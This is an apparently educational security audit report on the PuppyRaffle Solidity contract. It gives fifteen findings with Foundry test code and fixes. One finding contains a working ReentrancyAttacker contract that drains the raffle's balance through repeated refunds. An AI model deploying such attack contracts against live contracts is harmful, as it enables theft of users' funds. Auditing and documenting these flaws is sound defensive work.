# Puppy Raffle Protocol Audit Report

Version 1.0

*DeniyalDaniDan*

May 24, 2025

# Puppy Raffle Protocol Audit Report

deniyaldanidan

May 24, 2025

Prepared by: DeniyalDaniDan

Lead Auditors:

- DeniyalDaniDan

## Table of Contents

## Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the enterRaffle function with the following parameters:
    - address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & value if they call the refund function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy

5. The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

## Disclaimer

The **DeniyalDaniDan** makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

## Risk Classification

| | | Impact | | |
|---|---|---|---|---|
| | | High | Medium | Low |
| Likelihood | High | H | H/M | M |
| | Medium | H/M | M | M/L |
| | Low | M | M/L | L |

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

## Audit Details

### The findings described in the document correspond the following commit hash:

```
2a47715b30cf11ca82db148704e67652ad679cd8
```

*Click here to view the Source code*

### Scope

```
./src/
#-- PuppyRaffle.sol
```

### Compatibilities

- Solc Version: 0.7.6
- Chain(s) to deploy contract to: Ethereum

### Roles

- Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function.
- Player - Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

## Executive Summary

### Issues found

| Severity | Number of Issues found |
|---|---|
| High | 3 |
| Medium | 2 |
| Low | 1 |
| Info | 7 |
| Gas | 2 |
| ***Total*** | 15 |

## Findings

### High

#### [H-1] Reentrancy attack in `PuppyRaffle::refund()` allows entrants to drain raffle's balance

**Description:**

The `PuppyRaffle::refund()` function does not follow CEI (Checks, Effects, Interaction) rule and as a result, enables participants to drain the contracts balance.

In the `PuppyRaffle::refund()` function, we first make an external call to the `msg.sender` address and only after making that external call we update the `PuppyRaffle::players` array.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(
        playerAddress == msg.sender,
        "PuppyRaffle: Only the player can refund"
    );
    require(
        playerAddress != address(0),
        "PuppyRaffle: Player already refunded, or is not active"
    );

@>    payable(msg.sender).sendValue(entranceFee);
@>    players[playerIndex] = address(0);

    emit RaffleRefunded(playerAddress);
}
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund()` function again and claim another refund. They could continue this cycle till the contract's balance is drained.

**Impact:**

All fees paid by the raffle entrants could be stolen by the malicious participant.

**Proof of Concept:**

1. User enters the raffle.
2. Attacker sets up the attack contract with a `fallback` function that calls `PuppyRaffle::refund()`.
3. Attacker enters the raffle.
4. Attacker calls `PuppyRaffle::refund()` from their attack contract, draining the contract's balance.

**Proof of Code:**

Place the following into `PuppyRaffleTest.t.sol`

```
function testReentrancyOnRefund() public {
    uint256 numOfPlayers = 5;
    address[] memory players = new address[](numOfPlayers);

    for (uint256 i = 0; i < numOfPlayers; i++) {
        players[i] = address(i);
    }

```

```
        puppyRaffle.enterRaffle{value: entranceFee * numOfPlayers}(players)
            ;

        uint256 raffleInitialBalance = address(puppyRaffle).balance;

        ReentrancyAttacker attacker = new ReentrancyAttacker(puppyRaffle);
        vm.deal(address(attacker), 1 ether);
        uint256 attackerInitialBalance = address(attacker).balance;

        attacker.attack();

        uint256 raffleFinalBalance = address(puppyRaffle).balance;
        uint256 attackerFinalBalance = address(attacker).balance;

        console2.log("raffleInitial Balance: ", raffleInitialBalance);
        console2.log("raffleFinal Balance: ", raffleFinalBalance);

        console2.log("attacker initial balance: ", attackerInitialBalance);
        console2.log("Attacker Final Balance: ", attackerFinalBalance);

        assertEq(raffleFinalBalance, 0);
        assertEq(
            raffleInitialBalance + attackerInitialBalance,
            attackerFinalBalance
        );
    }
```

A sample attack contract:

```
contract ReentrancyAttacker {
    PuppyRaffle private puppyRaffle;
    uint256 private myIndex;
    uint256 private entranceFee;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    receive() external payable {
        _stealMoney();
    }

    fallback() external payable {
        _stealMoney();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
```

```
23          myIndex = puppyRaffle.getActivePlayerIndex(address(this));
24          puppyRaffle.refund(myIndex);
25      }
26
27      function _stealMoney() internal {
28          if (
29              msg.sender == address(puppyRaffle) &&
30              address(puppyRaffle).balance >= 1
31          ) {
32              puppyRaffle.refund(myIndex);
33          }
34      }
35  }
```

**Recommended Mitigation:**

To mitigate use CEI, Update the `PuppyRaffle::players` array in `PuppyRaffle::refund()` function before making external calls to `msg.sender`. Additionally, move the event emit up as well.

Always ensure that every state change happens before calling external contracts. refer: https://owasp.org/www-project-smart-contract-top-10/2023/en/src/SC01-reentrancy-attacks.html.

```
1  function refund(uint256 playerIndex) public {
2      address playerAddress = players[playerIndex];
3      require(
4          playerAddress == msg.sender,
5          "PuppyRaffle: Only the player can refund"
6      );
7      require(
8          playerAddress != address(0),
9          "PuppyRaffle: Player already refunded, or is not active"
10     );
11
12 +    players[playerIndex] = address(0);
13 +    emit RaffleRefunded(playerAddress);
14
15     payable(msg.sender).sendValue(entranceFee);
16 -    players[playerIndex] = address(0);
17 -    emit RaffleRefunded(playerAddress);
18 }
```

### [H-2] Weak Randomness in `PuppyRaffle::selectWinner()` allows users to influence or predict the winner and influence or predict the winning puppy

**Description:**

Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can

manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

**Note:**

Additionally, this means users could front-run this function and call `refund` if they see they are not the winner.

**Impact:**

Any user can influence the winner of the raffe, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes the gas war as to who wins the raffle.

**Proof of Concept:**

1. Validators can know ahead of time the `block.timestamp`, and `block.difficulty` and use that to predict when/how to participate. See the blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they dont like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

**Recommended Mitigation:**

Consider using a cryptographically provable random number generator such as chainlink VRF.

### [H-3] Integer overflow on `PuppyRaffle::totalFees` make it lose fees

**Description:**

In solidity versions prior to `0.8.0` integers were subject to integer overflow.

```
1     uint64 myVar = type(uint64).max
2     // 18446744073709551615
3     myVar = myVar + 1
4     // myVar will be 0
```

**Impact:**

In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees()`. However, if the `totalFees` variable overflows, the `feeAddress` may not be able to collect the correct amount of fees, leaving fees permanently stuck in the contract

**Proof of Concept:**

1. We make 120 players enter the raffle.
2. And we conclude the raffle.
3. But when we check the `totalFees` value we can note that some fee losses are happened due to overflow & unsafe casting.
4. And feeAddress won't be able to withdraw because of below line in `PuppyRaffle::withdrawFees()`.

```
require(
    address(this).balance == uint256(totalFees),
    "PuppyRaffle: There are currently players active!"
);
```

```
    function testLossOfFeeDueToUnsafeCastingAndOverflow() public {
        uint256 myPlayersLength = 120;
        address[] memory myPlayers = new address[](myPlayersLength);

        for (uint256 i = 0; i < myPlayersLength; i++) {
            myPlayers[i] = address(i + 100);
        }

        puppyRaffle.enterRaffle{value: entranceFee * myPlayersLength}(
            myPlayers
        );

        vm.warp(block.timestamp + puppyRaffle.raffleDuration());

        puppyRaffle.selectWinner();

        uint256 correctFee = (entranceFee * myPlayersLength * 20) /
            100;
        uint256 feeAfterOverFlow = correctFee % 2 ** 64; // formula to
            casting bigvalues to uint64
        console2.log("Correct Fee: ", correctFee);
        console2.log("Actual Fee: ", uint256(puppyRaffle.totalFees()));
        console2.log("Calculated fee after overflow: ",
            feeAfterOverFlow);
        assert(correctFee > puppyRaffle.totalFees());
        assertEq(feeAfterOverFlow, puppyRaffle.totalFees());
    }
```

**Recommended Mitigation:**

There are some few possible mitigations: 1. use newer versions of solidity above `0.8.0`. 2. use `uint256` instead of `uint64` for `PuppyRaffle::totalFees`. 3. You could also use safeMath library of OpenZeppelin for version `0.7.6` of solidity, however you would still have a hard time with `uint64` type if too many fees are collected. 4. Remove the balance check from `PuppyRaffle::`

`withdrawFees()`.

```
- require( address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

There are more attack vectors with that above line, so we recommend removing it.

## Medium

### [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle()` is a potential denial of service (DOS) attack, incrementing gas cost for future entrants

**Description:**

The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle:players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array is an additional check the loop will have to make.

```
// @audit Dos Attack
@> for(uint256 i = 0; i < players.length -1; i++){
    for(uint256 j = i+1; j< players.length; j++){
    require(players[i] != players[j],"PuppyRaffle: Duplicate Player");
  }
}
```

**Impact:**

The gas costs for raffle entrants will greatly increase as more players enter the raffle, discouraging later users from entering and causing a rush at the start of a raffle to be one of the first entrants in queue.

An attacker might make the `PuppyRaffle:players` array so big that no one else enters, guaranteeing themselves the win.

**Proof of Concept:**

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6252048 gas - 2nd 100 players: ~18068138 gas

This is more than 3x more expensive for the second 100 players.

Place the following code in the **`PuppyRaffleTest.t.sol`**

```
function testIsEntryRaffleVulnToDOS() public {
        vm.txGasPrice(1);
```

```
3
4           // First 100 users are entering
5           uint256 playersNum = 100;
6           address[] memory players = new address[](playersNum);
7
8           for (uint256 i = 0; i < playersNum; i++) {
9               players[i] = address(i);
10          }
11
12          uint256 gasStart = gasleft();
13          puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
                players);
14          uint256 gasEnd = gasleft();
15
16          uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
17
18          console2.log("Gas Used for first 100 players: ", gasUsedFirst);
19
20          // second 100 users are entering
21          uint256 legitPlayersNum = 100;
22          address[] memory legitPlayers = new address[](legitPlayersNum);
23
24          for (uint256 i = 0; i < legitPlayersNum; i++) {
25              legitPlayers[i] = address(i + playersNum + 1);
26          }
27
28          uint256 gasStart2 = gasleft();
29          puppyRaffle.enterRaffle{value: entranceFee * legitPlayersNum}(
30              legitPlayers
31          );
32          uint256 gasEnd2 = gasleft();
33
34          uint256 gasUsedSecond = (gasStart2 - gasEnd2) * tx.gasprice;
35
36          console2.log("Gas Used for second 100 players: ", gasUsedSecond
                );
37
38          assert(gasUsedFirst < gasUsedSecond);
39      }
```

**Recommended Mitigation:** 1. Consider allowing duplicates. Users can make new wallet addresses anyway, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address. 2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a uint256 id, and the mapping would be a player address mapped to the raffle Id.

```
1 +     mapping(address => uint256) public addressToRaffleId;
2 +     uint256 public raffleId = 0;
3       .
4       .
```

```
5       .
6       function enterRaffle(address[] memory newPlayers) public payable {
7           require(msg.value == entranceFee * newPlayers.length, "
               PuppyRaffle: Must send enough to enter raffle");
8           for (uint256 i = 0; i < newPlayers.length; i++) {
9               players.push(newPlayers[i]);
10  +            addressToRaffleId[newPlayers[i]] = raffleId;
11          }
12
13  -        // Check for duplicates
14  +       // Check for duplicates only from the new players
15  +       for (uint256 i = 0; i < newPlayers.length; i++) {
16  +          require(addressToRaffleId[newPlayers[i]] != raffleId, "
    PuppyRaffle: Duplicate player");
17  +       }
18  -        for (uint256 i = 0; i < players.length; i++) {
19  -            for (uint256 j = i + 1; j < players.length; j++) {
20  -                require(players[i] != players[j], "PuppyRaffle:
    Duplicate player");
21  -            }
22  -        }
23          emit RaffleEnter(newPlayers);
24      }
25  .
26  .
27  .
28      function selectWinner() external {
29  +       raffleId = raffleId + 1;
30          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
```

3. Alternatively, you could use **OpenZeppelin's EnumerableSet library**.

### [M-2] Smart contract wallets raffle winners without a `receive` or `fallback` function could block the start of a new contest

**Description:**

The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payments, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset get very challenging.

**Impact:**

The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

**Proof of Concept:** 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

**Recommended Mitigation:**

There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owners on the winner to claim their prize. (Recommended)

### Low

#### [L-1] `PuppyRaffle::getActivePlayerIndex()` returns 0 for non-existant players and also for players at index 0, causing at a player at index 0 to incorrectly think they have not entered the raffle yet

**Description:**

if a player in `PuppyRaffle::players` is at index #0, this will return 0. But according to the natspec, it will also return 0 if the players is not in the array.

```
1 /// @return the index of the player in the array, if they are not
    active, it returns 0
2 function getActivePlayerIndex( address player) external view returns (
    uint256) {
3     for (uint256 i = 0; i < players.length; i++) {
4         if (players[i] == player) {
5             return i;
6         }
7     }
8     return 0;
9 }
```

**Impact:**

A player at index 0 may incorrectly that think they have not entered the raffle yet and attempt to enter the raffle again, wasting gas.

**Proof of Concept:**

1. Player enters the raffle.
2. If they are the first entrant, then the `PuppyRaffle:getActivePlayerIndex()` will return 0.

3. User thinks they have not entered correctly due to the function documentation. And try to enter again.

**Recommended Mitigation:**

The easiest recommendation will be revert if the players is not present in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns `-1` if the player is not active.

## Gas

### [G-1] Unchanged variables should be declared constant or immutable

**Description:**

reading from storage is much more gas expensive than reading from constant or immutable variable.

**Instances:** - `PuppyRaffle::raffleDuration` should be `immutable`. - `PuppyRaffle::commonImageUri` should be `constant`. - `PuppyRaffle::rareImageUri` should be `constant`. - `PuppyRaffle::legendaryImageUri` should be `constant`.

### [G-2] Storage variables in a loop should be cached

**Description:**

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas expensive.

**Recommended Mitigation:**

```
+ uint256 playersLength = players.length;

+ for (uint256 i = 0; i < playersLength - 1; i++) {
- for (uint256 i = 0; i < players.length - 1; i++) {
+ for (uint256 j = i + 1; j < playersLength ; j++) {
-     for (uint256 j = i + 1; j < players.length; j++) {
          require( players[i] != players[j], "PuppyRaffle: Duplicate
              player");
      }
}
```

## Info

### [I-1] Solidity pragma should be specific, not wide

#### Description

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

### [I-2] Using an outdated version of solidity is not recommended

#### Description

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

#### Recommendation mitigation

Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

for more info refer slither documentation for more information.

### [I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

- Found in src/PuppyRaffle.sol Line: 75

```
1         feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 220

```
1         feeAddress = newFeeAddress;
```

### [I-4] `PuppyRaffle::SelectWinner()` does not follow CEI, which is not a best practice

**Description:**

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
+    _safeMint(winner, tokenId);
     (bool success, ) = winner.call{value: prizePool}("");
     require(success, "PuppyRaffle: Failed to send prize pool to winner"
         );
-     _safeMint(winner, tokenId);
```

### [I-5] Use of *"magic"* numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable in the numbers are given a name.

Examples:

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
```

### [I-6] State Changes are Missing Events

A lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol.

It is best practice to emit an event whenever an action results in a state change.

Examples: - `PuppyRaffle::totalFees` within the `selectWinner` function - `PuppyRaffle::raffleStartTime` within the `selectWinner` function - `PuppyRaffle::totalFees` within the `withdrawFees` function

### [I-7] _isActivePlayer is never used and should be removed

**Description:** The function PuppyRaffle::_isActivePlayer is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
```

```
4 -                 return true;
5 -             }
6 -         }
7 -         return false;
8 -     }
```